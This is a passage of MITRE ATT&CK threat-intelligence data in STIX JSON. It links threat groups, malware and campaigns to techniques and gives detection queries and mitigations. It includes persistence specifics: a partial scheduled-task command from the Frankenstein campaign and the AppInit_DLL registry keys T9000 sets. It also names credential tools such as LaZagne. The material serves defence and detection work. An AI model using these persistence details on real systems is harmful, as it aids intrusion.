Functionality)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cd8146a-8d50-4a36-8d8c-3c80e7b63105","type":"relationship","created":"2021-03-01T21:55:30.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:55:30.036Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has used Python scripts to deploy ransomware.(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec","created":"2017-05-31T21:33:27.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cdc74fc-a291-4253-98b4-ca33e021914a","type":"relationship","created":"2017-05-31T21:33:27.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"url":"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf","description":"ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.","source_name":"DustySky2"},{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2021-04-27T19:55:39.211Z","description":"(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cdf6168-df7a-47e9-8262-5e4e7d5ab16a","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for API calls, loaded by a payload, for token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft LogonUser","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"},{"source_name":"Microsoft DuplicateTokenEx","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"},{"source_name":"Microsoft ImpersonateLoggedOnUser","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3ce056f2-7ade-4557-86a8-f0ec216730ec","created":"2021-01-04T20:42:22.284Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) can use supplied user credentials to execute processes and stop services.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ce0fee3-3ad5-49b9-8213-871484674d93","type":"relationship","created":"2019-10-11T17:29:20.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2019-10-11T17:29:20.294Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve the date and time of the system.(Citation: SecureList Griffon May 2019)\t","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ce884c7-71c5-4f46-b09c-1abb45d8341b","created":"2023-06-22T19:57:39.143Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-22T19:57:39.143Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use custom communications protocols that ride over SMTP.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ce8f37c-c8da-4235-9621-4923988fa877","created":"2022-10-17T22:01:54.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T16:18:46.077Z","description":"Monitor for account authentications in which MFA credentials are not provided by the user account to the authenticating entity.\n\nAnalytic 1 - Windows Successful logons without MFA.\n\nindex=your_index sourcetype=\"WinEventLog:Security\" EventCode=4624 \n| eval MFA_used=if(searchmatch(\"MFA\"), \"Yes\", \"No\")\n| where MFA_used=\"No\"\n| stats count by Account_Name, Logon_Type, IpAddress, ComputerName \n\nAnalytic 2 - Linux Successful logons without MFA.\n\nindex=your_index sourcetype=\"linux_secure\" OR sourcetype=\"macos_auth\" \"Accepted password\" \n| eval MFA_used=if(searchmatch(\"MFA\"), \"Yes\", \"No\")\n| where MFA_used=\"No\"\n| stats count by user, src_ip, host","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cefbbf5-c214-4b88-9b43-82e3aa0a0122","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor executed commands and arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cf183ef-05aa-47ad-b691-654c0648326a","type":"relationship","created":"2022-03-23T16:57:13.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"modified":"2022-03-23T16:57:13.628Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used multi-stage malware components that inject later stages into separate processes.(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cf1b188-99ad-48a5-bce8-962eef956ec8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.288Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) can delete files indicated by the attacker and remove itself from disk using a batch file.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cf330d6-3a3c-437f-922b-c1bdce852b71","type":"relationship","created":"2021-03-31T18:53:16.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:53:16.714Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has checked the number of CPUs in the system to avoid being run in a sandbox or emulator.(Citation: IBM MegaCortex) ","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3cf6afbd-a010-4982-8121-22e67ace6046","created":"2020-09-22T19:30:17.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.570Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used direct Windows system calls by leveraging Dumpert.(Citation: Cycraft Chimera April 2020)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3cfb23f1-ae6c-4ba9-acf0-b5e592ea5597","created":"2022-09-07T19:13:02.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:40:00.135Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors established persistence through a scheduled task using the command: `/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR`, named \"WinUpdate\" (Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d02f381-1402-430e-aacd-5e9350df2505","created":"2022-09-27T17:52:03.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:46:44.666Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors executed commands through the installed web shell via [Tor](https://attack.mitre.org/software/S0183) exit nodes.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d0fed27-cf0e-4ca4-aef3-04300422299a","created":"2023-03-13T15:26:49.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T15:39:03.786Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used Azure Run Command and Azure Admin-on-Behalf-of (AOBO) to execute code on virtual machines.(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d116ef6-d11b-4d04-9bf8-c51def11bd3b","type":"relationship","created":"2020-03-19T23:18:35.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2020-03-19T23:18:35.453Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d131e85-111d-4df2-ba93-274acba5146f","type":"relationship","created":"2020-02-05T14:18:21.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T14:18:21.951Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.855Z","description":"If a victim meets certain criteria, [T9000](https://attack.mitre.org/software/S0098) uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs – %APPDATA%\\Intel\\ResN32.dll and HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs – 0x1.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d16dbff-d1fc-42e0-b736-69ddee747ffe","type":"relationship","created":"2020-03-14T23:12:18.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:12:18.657Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d1c88d6-f390-4e05-ba1c-c6ea59f5fe22","type":"relationship","created":"2019-06-24T13:46:11.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2021-10-15T19:01:35.086Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d1fe308-5bef-4e7a-9daa-333680a11d7b","type":"relationship","created":"2019-01-30T18:58:04.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.923Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can take a screenshot of the desktop.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d241ebf-728b-4aea-99a5-404a28d708d5","created":"2024-08-27T19:05:17.906Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T19:05:17.906Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017).(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3d24da0a-7124-4043-881b-da19436c007c","created":"2024-03-29T17:44:37.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft File Folder Exclusions","description":"Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T17:45:20.424Z","description":"Review and audit file/folder exclusions, and limit scope of exclusions to only what is required where possible.(Citation: Microsoft File Folder Exclusions)","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d2736f6-5ce8-48ba-8be0-e8d8ab0a3a9c","type":"relationship","created":"2021-01-28T15:58:09.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.550Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has configured tools to automatically send collected files to attacker controlled servers.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3d294579-20ed-4f98-83c1-97bdcaaeba86","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by the execution of tainted 